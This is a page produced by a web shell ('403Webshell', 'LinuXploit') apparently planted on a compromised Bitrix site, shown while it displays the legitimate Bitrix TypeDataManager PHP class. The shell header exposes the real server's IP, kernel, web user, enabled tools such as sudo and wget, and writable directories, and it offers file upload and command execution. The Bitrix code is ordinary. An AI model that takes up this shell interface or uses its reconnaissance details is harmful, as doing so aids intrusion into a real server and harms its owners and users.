403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/userfield/internal/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/userfield/internal/typedatamanager.php
<?php

namespace Bitrix\Main\UserField\Internal;

use Bitrix\Main\Application;
use Bitrix\Main\DB\MssqlConnection;
use Bitrix\Main\DB\SqlQueryException;
use Bitrix\Main\Entity\Validator\RegExp;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\ORM\Data\DataManager;
use Bitrix\Main\ORM\Entity;
use Bitrix\Main\ORM\EntityError;
use Bitrix\Main\ORM\Event;
use Bitrix\Main\ORM\EventResult;
use Bitrix\Main\ORM\Fields\ArrayField;
use Bitrix\Main\ORM\Fields\ExpressionField;
use Bitrix\Main\ORM\Fields\Field;
use Bitrix\Main\ORM\Fields\IntegerField;
use Bitrix\Main\ORM\Fields\Relations\Reference;
use Bitrix\Main\ORM\Fields\StringField;
use Bitrix\Main\ORM\Query\Query;
use Bitrix\Main\SystemException;
use Bitrix\Main\Text\StringHelper;

/**
 * @deprecated
 */
abstract class TypeDataManager extends DataManager
{
	public const MAXIMUM_TABLE_NAME_LENGTH = 64;

	protected static $temporaryStorage;

	public static function getMap(): array
	{
		return [
			(new IntegerField('ID'))
				->configurePrimary()
				->configureAutocomplete(),
			(new StringField('NAME'))
				->configureRequired()
				->configureUnique()
				->configureSize(100)
				->configureFormat('/^[A-Z][A-Za-z0-9]*$/')
				->addValidator(new RegExp(
					'/(?<!Table)$/i'
				)),
			(new StringField('TABLE_NAME'))
				->configureRequired()
				->configureUnique()
				->configureSize(64)
				->configureFormat('/^[a-z0-9_]+$/')
				->addValidator([get_called_class(), 'validateTableExisting']),
		];
	}

	public static function getFactory(): TypeFactory
	{
		return Registry::getInstance()->getFactoryByTypeDataClass(static::class);
	}

	protected static function getTemporaryStorage(): TemporaryStorage
	{
		if(!static::$temporaryStorage)
		{
			static::$temporaryStorage = new TemporaryStorage();
		}

		return static::$temporaryStorage;
	}

	/**
	 * @param Event $event
	 * @return EventResult
	 * @throws SystemException
	 */
	public static function onAfterAdd(Event $event): EventResult
	{
		$id = $event->getParameter('id');

		static::compileEntity($id)->createDbTable();

		return new EventResult();
	}

	/**
	 * @param Event $event
	 * @return EventResult
	 */
	public static function onBeforeUpdate(Event $event): EventResult
	{
		$data = static::getByPrimary($event->getParameter('id'))->fetch();
		static::getTemporaryStorage()->saveData($event->getParameter('id'), $data);

		return new EventResult();
	}

	/**
	 * @param Event $event
	 * @return EventResult
	 * @throws \Bitrix\Main\Db\SqlQueryException
	 */
	public static function onAfterUpdate(Event $event): EventResult
	{
		$id = $event->getParameter('id');
		$data = $event->getParameter('fields');
		$oldData = static::getTemporaryStorage()->getData($id);
		if(!$oldData)
		{
			return new EventResult();
		}

		// rename table in db
		if (isset($data['TABLE_NAME']) && $data['TABLE_NAME'] !== $oldData['TABLE_NAME'])
		{
			$userFieldManager = UserFieldHelper::getInstance()->getManager();
			$connection = Application::getConnection();
			$sqlHelper = $connection->getSqlHelper();
			$connection->renameTable($oldData['TABLE_NAME'], $data['TABLE_NAME']);

			if ($connection instanceof MssqlConnection)
			{
				// rename constraint
				$connection->query(sprintf(
					"EXEC sp_rename %s, %s, 'OBJECT'",
					$sqlHelper->quote($oldData['TABLE_NAME'].'_ibpk_1'),
					$sqlHelper->quote($data['TABLE_NAME'].'_ibpk_1')
				));
			}

			// rename also uf multiple tables and its constraints, sequences, and triggers
			/** @noinspection PhpMethodOrClassCallIsNotCaseSensitiveInspection */
			foreach ($userFieldManager->getUserFields(static::getFactory()->getUserFieldEntityId($oldData['ID'])) as $field)
			{
				if ($field['MULTIPLE'] == 'Y')
				{
					$oldUtmTableName = static::getMultipleValueTableName($oldData, $field);
					$newUtmTableName = static::getMultipleValueTableName($data, $field);

					$connection->renameTable($oldUtmTableName, $newUtmTableName);
				}
			}
		}

		return new EventResult();
	}

	/**
	 * @param Event $event
	 * @return EventResult
	 * @throws SystemException
	 * @throws \Bitrix\Main\ArgumentException
	 * @throws \Bitrix\Main\ObjectPropertyException
	 */
	public static function onBeforeDelete(Event $event): EventResult
	{
		$result = new EventResult();

		$id = $event->getParameter('id');
		$oldData = static::getByPrimary($id)->fetch();
		static::getTemporaryStorage()->saveData($id, $oldData);
		if(!$oldData)
		{
			return $result;
		}

		$userFieldManager = UserFieldHelper::getInstance()->getManager();

		// get file fields
		$file_fields = [];
		/** @noinspection PhpMethodOrClassCallIsNotCaseSensitiveInspection */
		$fields = $userFieldManager->getUserFields(static::getFactory()->getUserFieldEntityId($oldData['ID']));

		foreach ($fields as $name => $field)
		{
			if ($field['USER_TYPE']['BASE_TYPE'] === 'file')
			{
				$file_fields[] = $name;
			}
		}

		// delete files
		if (!empty($file_fields))
		{
			$oldEntity = static::compileEntity($oldData);

			$query = new Query($oldEntity);

			// select file ids
			$query->setSelect($file_fields);

			// if they are not empty
			$filter = array('LOGIC' => 'OR');

			foreach ($file_fields as $file_field)
			{
				$filter['!'.$file_field] = false;
			}

			$query->setFilter($filter);

			// go
			$queryResult = $query->exec();

			while ($row = $queryResult->fetch())
			{
				foreach ($file_fields as $file_field)
				{
					if (!empty($row[$file_field]))
					{
						if (is_array($row[$file_field]))
						{
							foreach ($row[$file_field] as $value)
							{
								\CFile::delete($value);
							}
						}
						else
						{
							\CFile::delete($row[$file_field]);
						}
					}
				}
			}
		}

		$connection = Application::getConnection();

		foreach ($fields as $field)
		{
			// delete from uf registry
			if ($field['USER_TYPE']['BASE_TYPE'] === 'enum')
			{
				$enumField = new \CUserFieldEnum;
				$enumField->DeleteFieldEnum($field['ID']);
			}

			$connection->query("DELETE FROM b_user_field_lang WHERE USER_FIELD_ID = ".$field['ID']);
			$connection->query("DELETE FROM b_user_field WHERE ID = ".$field['ID']);

			// if multiple - drop utm table
			if ($field['MULTIPLE'] == 'Y')
			{
				try
				{
					$utmTableName = static::getMultipleValueTableName($oldData, $field);
					$connection->dropTable($utmTableName);
				}
				catch(SqlQueryException $e)
				{
					$result->addError(new EntityError($e->getMessage()));
				}
			}
		}

		// clear uf cache
		$managedCache = Application::getInstance()->getManagedCache();
		if(CACHED_b_user_field !== false)
		{
			$managedCache->cleanDir("b_user_field");
		}

		return $result;
	}

	/**
	 * @param Event $event
	 * @return EventResult
	 * @throws SystemException
	 * @throws \Bitrix\Main\Db\SqlQueryException
	 */
	public static function onAfterDelete(Event $event): EventResult
	{
		$id = $event->getParameter('id');
		$oldData = static::getTemporaryStorage()->getData($id);
		if(!$oldData)
		{
			return new EventResult();
		}

		if(Application::getConnection()->isTableExists($oldData['TABLE_NAME']))
		{
			Application::getConnection()->dropTable($oldData['TABLE_NAME']);
		}

		return new EventResult();
	}

	/**
	 * @param array|int|string|Type $type Could be an object, an array, ID or NAME of block.
	 * @return array|null
	 */
	public static function resolveType($type): ?array
	{
		if($type instanceof Type)
		{
			$type = $type->collectValues();
		}
		if (!is_array($type))
		{
			if (is_int($type) || is_numeric(mb_substr($type, 0, 1)))
			{
				// we have an id
				$type = static::getById($type)->fetch();
			}
			elseif (is_string($type) && $type !== '')
			{
				// we have a name
				$type = static::query()->addSelect('*')->where('NAME', $type)->exec()->fetch();
			}
			else
			{
				$type = null;
			}
		}
		if (empty($type))
			return null;

		if (!isset($type['ID']))
			return null;
		if (!isset($type['NAME']) || !preg_match('/^[a-z0-9_]+$/i', $type['NAME']))
			return null;
		if (empty($type['TABLE_NAME']))
			return null;

		return $type;
	}

	/**
	 * @param $type
	 * @return Entity
	 * @throws SystemException
	 * @throws \Bitrix\Main\ArgumentException
	 */
	public static function compileEntity($type): Entity
	{
		$rawType = $type;
		$type = static::resolveType($type);
		if (empty($type))
		{
			throw new SystemException(sprintf(
				'Invalid type description `%s`.', mydump($rawType)
			));
		}
		$factory = static::getFactory();
		$type['code'] = $factory->getCode();
		/** @var PrototypeItemDataManager $itemDataClass */
		$itemDataClass = $factory->getItemPrototypeDataClass();
		$userFieldManager = UserFieldHelper::getInstance()->getManager();

		$userFields = $userFieldManager->getUserFields($factory->getUserFieldEntityId($type['ID']));

		$entityName = $type['code'] . '_items_' . $type['ID'];
		$entityClassName = $entityName.'Table';
		$entityTableName = $type['TABLE_NAME'];
		if(class_exists($entityClassName))
		{
			// rebuild if it already exists
			Entity::destroy($entityClassName);
			$entity = Entity::getInstance($entityClassName);
		}
		else
		{
			$entity = Entity::compileEntity($entityName, [], [
				'table_name' => $entityTableName,
				'parent' => $itemDataClass,
				'object_parent' => $factory->getItemParentClass(),
				//'namespace' => __NAMESPACE__,
			]);
		}
		Registry::getInstance()->registerTypeByEntity($entity, $type);

		foreach ($userFields as $userField)
		{
			if ($userField['MULTIPLE'] == 'N')
			{
				// just add single field
				$params = [
					'required' => ($userField['MANDATORY'] === 'Y')
				];
				$field = $userFieldManager->getEntityField($userField, $userField['FIELD_NAME'], $params);
				$entity->addField($field);
				foreach ($userFieldManager->getEntityReferences($userField, $field) as $reference)
				{
					$entity->addField($reference);
				}
			}
			else
			{
				// build utm entity
				static::compileUtmEntity($entity, $userField);
			}
		}

		return $entity;
	}

	/**
	 * @param Entity $typeEntity
	 * @param $userField
	 * @return mixed
	 */
	protected static function compileUtmEntity(Entity $typeEntity, $userField): Entity
	{
		$userFieldManager = UserFieldHelper::getInstance()->getManager();

		// build utm entity
		/** @var PrototypeItemDataManager $itemDataClass */
		$itemDataClass = $typeEntity->getDataClass();
		$typeData = $itemDataClass::getType();

		$utmClassName = static::getUtmEntityClassName($typeEntity, $userField);
		$utmTableName = static::getMultipleValueTableName($typeData, $userField);

		if (class_exists($utmClassName.'Table'))
		{
			// rebuild if it already exists
			Entity::destroy($utmClassName.'Table');
			$utmEntity = Entity::getInstance($utmClassName);
		}
		else
		{
			// create entity from scratch
			$utmEntity = Entity::compileEntity($utmClassName, [], [
				'table_name' => $utmTableName,
				//'namespace' => __NAMESPACE__,
			]);
		}

		// main fields
		$utmValueField = $userFieldManager->getEntityField($userField, 'VALUE');

		$utmEntityFields = array(
			new IntegerField('ID'),
			$utmValueField
		);

		// references
		$references = $userFieldManager->getEntityReferences($userField, $utmValueField);

		foreach ($references as $reference)
		{
			$utmEntityFields[] = $reference;
		}

		foreach ($utmEntityFields as $field)
		{
			$utmEntity->addField($field);
		}

		// add original entity reference
		$referenceField = new Reference(
			'OBJECT',
			$typeEntity,
			['=this.ID' => 'ref.ID']
		);

		$utmEntity->addField($referenceField);

		// add short alias for back-reference
		$aliasField = new ExpressionField(
			$userField['FIELD_NAME'].'_SINGLE',
			'%s',
			$utmEntity->getFullName().':'.'OBJECT.VALUE',
			array(
				'data_type' => get_class($utmEntity->getField('VALUE')),
				'required' => $userField['MANDATORY'] == 'Y'
			)
		);

		$typeEntity->addField($aliasField);

		$cacheField = new ArrayField($userField['FIELD_NAME']);
		$cacheField->configureRequired($userField['MANDATORY'] === 'Y');
		\Bitrix\Main\UserField\Internal\MultipleFieldSerializer::setMultipleFieldSerialization($cacheField, $utmValueField, $userField);
		$typeEntity->addField($cacheField);

		return $utmEntity;
	}

	/**
	 * @param Entity $typeEntity
	 * @param $userField
	 * @return string
	 */
	public static function getUtmEntityClassName(Entity $typeEntity, array $userField): string
	{
		return $typeEntity->getName() . 'Utm' . StringHelper::snake2camel($userField['FIELD_NAME']);
	}

	/**
	 * @param $type
	 * @param $userField
	 * @return string
	 */
	public static function getMultipleValueTableName(array $type, array $userField): string
	{
		$tableName = $type['TABLE_NAME'] . '_' . mb_strtolower($userField['FIELD_NAME']);

		if (mb_strlen($tableName) > static::MAXIMUM_TABLE_NAME_LENGTH && !empty($userField['ID']))
		{
			$tableName = $type['TABLE_NAME'] . '_' . $userField['ID'];
		}

		return $tableName;
	}

	public static function validateTableExisting($value, $primary, array $row, Field $field)
	{
		$checkName = null;

		if (empty($primary))
		{
			// new row
			$checkName = $value;
		}
		else
		{
			$factory = static::getFactory();
			$typeDataClass = $factory->getTypeDataClass();
			// update row
			$oldData = $typeDataClass::getByPrimary($primary)->fetch();

			if ($value != $oldData['TABLE_NAME'])
			{
				// table name has been changed for existing row
				$checkName = $value;
			}
		}

		if (!empty($checkName))
		{
			if (Application::getConnection()->isTableExists($checkName))
			{
				Loc::loadLanguageFile(__DIR__.'/highloadblock.php');
				return Loc::getMessage('HIGHLOADBLOCK_HIGHLOAD_BLOCK_ENTITY_TABLE_NAME_ALREADY_EXISTS',
					['#TABLE_NAME#' => $value]
				);
			}
		}

		return true;
	}

	public static function getObjectParentClass(): string
	{
		return Type::class;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit